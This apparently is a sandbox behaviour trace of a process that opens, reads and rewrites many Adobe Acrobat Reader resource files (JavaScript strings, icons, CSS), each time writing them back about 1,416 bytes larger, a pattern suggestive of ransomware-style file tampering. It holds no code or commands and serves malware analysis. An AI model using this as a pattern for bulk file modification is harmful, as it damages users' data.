File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\eu-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\eu-es\ui-strings.js, size = 1245, size_out = 1245	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\eu-es\ui-strings.js, size = 2661	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\nl-nl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\nl-nl\ui-strings.js, size = 1238, size_out = 1238	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\nl-nl\ui-strings.js, size = 2654	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ui-strings.js, size = 1105, size_out = 1105	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ui-strings.js, size = 2521	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\ca-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\ca-es\ui-strings.js, size = 1363, size_out = 1363	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\ca-es\ui-strings.js, size = 2779	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\fr-fr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\fr-fr\ui-strings.js, size = 1383, size_out = 1383	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\fr-fr\ui-strings.js, size = 2799	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\pt-br\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\pt-br\ui-strings.js, size = 1338, size_out = 1338	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\pt-br\ui-strings.js, size = 2754	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\zh-cn\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\zh-cn\ui-strings.js, size = 1301, size_out = 1301	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\zh-cn\ui-strings.js, size = 2717	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\images\digsig_icons_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\images\digsig_icons_2x.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\images\digsig_icons_2x.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\images\digsig_icons_2x.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\eu-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\eu-es\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\eu-es\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\eu-es\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\nl-nl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\nl-nl\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\nl-nl\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\nl-nl\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\ui-strings.js, size = 1204, size_out = 1204	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\ui-strings.js, size = 2620	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\rhp_world_icon.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\rhp_world_icon.png, size = 445, size_out = 445	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\rhp_world_icon.png, size = 1861	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\ca-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\ca-es\ui-strings.js, size = 1286, size_out = 1286	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\ca-es\ui-strings.js, size = 2702	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\fr-fr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\fr-fr\ui-strings.js, size = 1303, size_out = 1303	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\fr-fr\ui-strings.js, size = 2719	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\pt-br\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\pt-br\ui-strings.js, size = 1270, size_out = 1270	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\pt-br\ui-strings.js, size = 2686	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\zh-cn\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\zh-cn\ui-strings.js, size = 1272, size_out = 1272	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\zh-cn\ui-strings.js, size = 2688	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\example_icons2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\example_icons2x.png, size = 1185, size_out = 1185	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\example_icons2x.png, size = 2601	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\rhp_world_icon_hover_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\rhp_world_icon_hover_2x.png, size = 552, size_out = 552	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\rhp_world_icon_hover_2x.png, size = 1968	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\fr-fr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\fr-fr\ui-strings.js, size = 1181, size_out = 1181	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\fr-fr\ui-strings.js, size = 2597	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\pt-br\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\pt-br\ui-strings.js, size = 1160, size_out = 1160	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\pt-br\ui-strings.js, size = 2576	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\zh-cn\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\zh-cn\ui-strings.js, size = 1173, size_out = 1173	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\zh-cn\ui-strings.js, size = 2589	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\core_icons_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\core_icons_retina.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\core_icons_retina.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\core_icons_retina.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\core_icons_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\core_icons_retina.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\core_icons_retina.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\core_icons_retina.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\A12_FilledDot_White@1x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\A12_FilledDot_White@1x.png, size = 266, size_out = 266	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\A12_FilledDot_White@1x.png, size = 1682	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\A12_FilledDot_White@1x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\A12_FilledDot_White@1x.png, size = 266, size_out = 266	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\A12_FilledDot_White@1x.png, size = 1682	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\dot.cur, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\dot.cur, size = 7598, size_out = 7598	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\dot.cur, size = 9014	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\dot.cur, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\dot.cur, size = 7598, size_out = 7598	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\dot.cur, size = 9014	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\faf-main.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\faf-main.js, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\faf-main.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\faf-main.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\faf-main.js, size = 61440	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\faf-main.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\hr-hr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\hr-hr\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\hr-hr\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\hr-hr\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\root\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\root\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\root\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\root\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\css\main-selector.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\css\main-selector.css, size = 1212, size_out = 1212	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\css\main-selector.css, size = 2628	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\themes\dark\rhp_world_icon.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\themes\dark\rhp_world_icon.png, size = 388, size_out = 388	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\themes\dark\rhp_world_icon.png, size = 1804	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\css\main.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\css\main.css, size = 1699, size_out = 1699	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\css\main.css, size = 3115	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\themes\dark\icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\themes\dark\icons.png, size = 8063, size_out = 8063	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\themes\dark\icons.png, size = 9479	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\fr-fr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\fr-fr\ui-strings.js, size = 935, size_out = 935	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\fr-fr\ui-strings.js, size = 2351	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\selector.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\selector.js, size = 5841, size_out = 5841	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\selector.js, size = 7257	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\illustrations_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\illustrations_retina.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\illustrations_retina.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\illustrations_retina.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\illustrations_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\illustrations_retina.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\illustrations_retina.png, size = 5512	1	Fn Data
